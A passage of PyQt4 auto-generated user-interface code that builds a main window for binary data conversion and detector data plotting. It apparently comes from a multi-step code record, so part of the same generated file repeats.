self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n",
"step-5": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'qtGSD_DESIGN.ui'\n#\n# Created by: PyQt4 UI code generator 4.11.4\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8(\"MainWindow\"))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8(\"verticalLayout\"))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8(\"groupBox_3\"))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8(\"gridLayout\"))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8(\"MainVertLayout\"))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(\"\"))\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\"horizontalLayoutWidget_6\"))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8(\"horizontalLayout_9\"))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8(\"label_7\"))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8(\"browserButton_7\"))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8(\"filePathEdit_7\"))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32))\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\"horizontalLayoutWidget_9\"))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8(\"horizontalLayout_10\"))\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8(\"label_11\"))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8(\"browserButton\"))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8(\"filePathEdit_3\"))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\"horizontalLayoutWidget_10\"))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8(\"horizontalLayout_11\"))\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8(\"label_12\"))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10)\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8(\"browserButton_3\"))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8(\"filePathEdit_5\"))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8(\"runButton\"))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8(\"groupBox_2\"))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32))\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\"horizontalLayoutWidget_4\"))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8(\"horizontalLayout_6\"))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8(\"browserButton_4\"))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8(\"loadButton\"))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8(\"filePathEdit_4\"))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29))\n 